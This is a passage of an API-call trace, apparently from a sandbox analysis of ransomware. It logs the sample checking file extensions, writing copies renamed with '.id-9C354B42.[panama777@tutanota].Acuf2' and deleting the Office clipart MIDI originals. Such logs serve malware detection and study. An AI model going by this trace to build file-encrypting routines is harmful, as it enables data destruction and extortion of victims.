	[0255.873] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.873] lstrlenW (lpString=".rar") returned 4
	[0255.873] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.873] lstrlenW (lpString=".bz2") returned 4
	[0255.873] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.873] lstrlenW (lpString=".7z") returned 3
	[0255.873] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63
	[0255.873] lstrlenW (lpString=".dbf") returned 4
	[0255.873] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63
	[0255.874] lstrlenW (lpString=".1cd") returned 4
	[0255.874] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63
	[0255.874] lstrlenW (lpString=".jpg") returned 4
	[0255.874] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.874] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.874] lstrlenW (lpString="SHOW_01.MID") returned 11
	[0255.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.874] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=6392) returned 1
	[0255.874] CloseHandle (hObject=0x344) returned 1
	[0255.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid")) returned 0x20
	[0255.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.875] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.875] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.875] GetLastError () returned 0x0
	[0255.875] ReadFile (in: hFile=0x344, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x18f8, lpOverlapped=0x0) returned 1
	[0255.891] WriteFile (in: hFile=0x334, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x1900, lpOverlapped=0x0) returned 1
	[0255.892] ReadFile (in: hFile=0x344, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.892] WriteFile (in: hFile=0x334, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0255.892] SetEndOfFile (hFile=0x334) returned 1
	[0255.892] CloseHandle (hObject=0x334) returned 1
	[0255.892] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.892] SetEndOfFile (hFile=0x344) returned 1
	[0255.895] CloseHandle (hObject=0x344) returned 1
	[0255.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.895] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid")) returned 1
	[0255.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62
	[0255.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62
	[0255.895] lstrlenW (lpString=".doc") returned 4
	[0255.895] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.895] lstrlenW (lpString=".docx") returned 5
	[0255.895] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.895] lstrlenW (lpString=".pdf") returned 4
	[0255.895] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.895] lstrlenW (lpString=".xls") returned 4
	[0255.895] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.896] lstrlenW (lpString=".xlsx") returned 5
	[0255.896] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.896] lstrlenW (lpString=".ppt") returned 4
	[0255.896] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62
	[0255.896] lstrlenW (lpString=".zip") returned 4
	[0255.896] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.896] lstrlenW (lpString=".rar") returned 4
	[0255.896] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.896] lstrlenW (lpString=".bz2") returned 4
	[0255.896] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.896] lstrlenW (lpString=".7z") returned 3
	[0255.896] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62
	[0255.896] lstrlenW (lpString=".dbf") returned 4
	[0255.896] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62
	[0255.896] lstrlenW (lpString=".1cd") returned 4
	[0255.896] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62
	[0255.896] lstrlenW (lpString=".jpg") returned 4
	[0255.896] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62
	[0255.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62
	[0255.896] lstrlenW (lpString=".doc") returned 4
	[0255.896] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.896] lstrlenW (lpString=".docx") returned 5
	[0255.896] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.896] lstrlenW (lpString=".pdf") returned 4
	[0255.896] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.896] lstrlenW (lpString=".xls") returned 4
	[0255.897] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.897] lstrlenW (lpString=".xlsx") returned 5
	[0255.897] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.897] lstrlenW (lpString=".ppt") returned 4
	[0255.897] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62
	[0255.897] lstrlenW (lpString=".zip") returned 4
	[0255.897] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.897] lstrlenW (lpString=".rar") returned 4
	[0255.897] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.897] lstrlenW (lpString=".bz2") returned 4
	[0255.897] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.897] lstrlenW (lpString=".7z") returned 3
	[0255.897] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62
	[0255.897] lstrlenW (lpString=".dbf") returned 4
	[0255.897] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62
	[0255.897] lstrlenW (lpString=".1cd") returned 4
	[0255.897] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62
	[0255.898] lstrlenW (lpString=".jpg") returned 4
	[0255.898] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.898] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.898] lstrlenW (lpString="SPACE_01.MID") returned 12
	[0255.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.898] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=4219) returned 1
	[0255.898] CloseHandle (hObject=0x344) returned 1
	[0255.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 0x20
	[0255.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.899] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.899] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.899] GetLastError () returned 0x0
	[0255.899] ReadFile (in: hFile=0x344, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x107b, lpOverlapped=0x0) returned 1
	[0255.908] WriteFile (in: hFile=0x334, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x1080, lpOverlapped=0x0) returned 1
	[0255.911] ReadFile (in: hFile=0x344, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.911] WriteFile (in: hFile=0x334, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.911] SetEndOfFile (hFile=0x334) returned 1
	[0255.915] CloseHandle (hObject=0x334) returned 1
	[0255.915] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.915] SetEndOfFile (hFile=0x344) returned 1
	[0255.924] CloseHandle (hObject=0x344) returned 1
	[0255.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 1
	[0255.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63
	[0255.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63
	[0255.948] lstrlenW (lpString=".doc") returned 4
	[0255.948] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.948] lstrlenW (lpString=".docx") returned 5
	[0255.948] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.948] lstrlenW (lpString=".pdf") returned 4
	[0255.948] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.948] lstrlenW (lpString=".xls") returned 4
	[0255.948] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.948] lstrlenW (lpString=".xlsx") returned 5
	[0255.948] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.948] lstrlenW (lpString=".ppt") returned 4
	[0255.948] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63
	[0255.948] lstrlenW (lpString=".zip") returned 4
	[0255.948] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.948] lstrlenW (lpString=".rar") returned 4
	[0255.948] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.948] lstrlenW (lpString=".bz2") returned 4
	[0255.948] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.948] lstrlenW (lpString=".7z") returned 3
	[0255.948] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63
	[0255.948] lstrlenW (lpString=".dbf") returned 4
	[0255.948] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63
	[0255.948] lstrlenW (lpString=".1cd") returned 4
	[0255.948] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63
	[0255.949] lstrlenW (lpString=".jpg") returned 4
	[0255.949] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63
	[0255.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63
	[0255.949] lstrlenW (lpString=".doc") returned 4
	[0255.949] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.949] lstrlenW (lpString=".docx") returned 5
	[0255.949] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.949] lstrlenW (lpString=".pdf") returned 4
	[0255.949] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.949] lstrlenW (lpString=".xls") returned 4
	[0255.949] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.949] lstrlenW (lpString=".xlsx") returned 5
	[0255.949] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.949] lstrlenW (lpString=".ppt") returned 4
	[0255.949] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63
	[0255.949] lstrlenW (lpString=".zip") returned 4
	[0255.949] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.949] lstrlenW (lpString=".rar") returned 4
	[0255.949] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.949] lstrlenW (lpString=".bz2") returned 4
	[0255.949] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.949] lstrlenW (lpString=".7z") returned 3
	[0255.949] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63
	[0255.949] lstrlenW (lpString=".dbf") returned 4
	[0255.949] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63
	[0255.949] lstrlenW (lpString=".1cd") returned 4
	[0255.949] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63
	[0255.950] lstrlenW (lpString=".jpg") returned 4
	[0255.950] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.950] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.950] lstrlenW (lpString="SWEST_01.MID") returned 12
	[0255.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.951] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=8501) returned 1
	[0255.951] CloseHandle (hObject=0x344) returned 1
	[0255.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 0x20
	[0255.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.951] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.951] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0255.952] GetLastError () returned 0x0
	[0255.952] ReadFile (in: hFile=0x344, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x2135, lpOverlapped=0x0) returned 1
	[0255.954] WriteFile (in: hFile=0x320, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x2140, lpOverlapped=0x0) returned 1
	[0255.955] ReadFile (in: hFile=0x344, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.956] WriteFile (in: hFile=0x320, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.956] SetEndOfFile (hFile=0x320) returned 1
	[0255.956] CloseHandle (hObject=0x320) returned 1
	[0255.956] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.956] SetEndOfFile (hFile=0x344) returned 1
	[0255.960] CloseHandle (hObject=0x344) returned 1
	[0255.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 1
	[0255.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63
	[0255.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63
	[0255.974] lstrlenW (lpString=".doc") returned 4
	[0255.974] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.974] lstrlenW (lpString=".docx") returned 5
	[0255.974] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.974] lstrlenW (lpString=".pdf") returned 4
	[0255.974] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.974] lstrlenW (lpString=".xls") returned 4
	[0255.974] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.974] lstrlenW (lpString=".xlsx") returned 5
	[0255.974] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.974] lstrlenW (lpString=".ppt") returned 4
	[0255.974] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63
	[0255.974] lstrlenW (lpString=".zip") returned 4
	[0255.974] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.974] lstrlenW (lpString=".rar") returned 4
	[0255.974] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.974] lstrlenW (lpString=".bz2") returned 4
	[0255.974] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.974] lstrlenW (lpString=".7z") returned 3
	[0255.974] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63
	[0255.975] lstrlenW (lpString=".dbf") returned 4
	[0255.975] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63
	[0255.975] lstrlenW (lpString=".1cd") returned 4
	[0255.975] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63
	[0255.975] lstrlenW (lpString=".jpg") returned 4
	[0255.975] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63
	[0255.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63
	[0255.975] lstrlenW (lpString=".doc") returned 4
	[0255.975] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.975] lstrlenW (lpString=".docx") returned 5
	[0255.975] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.975] lstrlenW (lpString=".pdf") returned 4
	[0255.975] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.975] lstrlenW (lpString=".xls") returned 4
	[0255.975] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.975] lstrlenW (lpString=".xlsx") returned 5
	[0255.975] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.975] lstrlenW (lpString=".ppt") returned 4
	[0255.975] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63
	[0255.975] lstrlenW (lpString=".zip") returned 4
	[0255.975] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.975] lstrlenW (lpString=".rar") returned 4
	[0255.975] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.975] lstrlenW (lpString=".bz2") returned 4
	[0255.976] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.976] lstrlenW (lpString=".7z") returned 3
	[0255.976] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63
	[0255.976] lstrlenW (lpString=".dbf") returned 4
	[0255.976] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
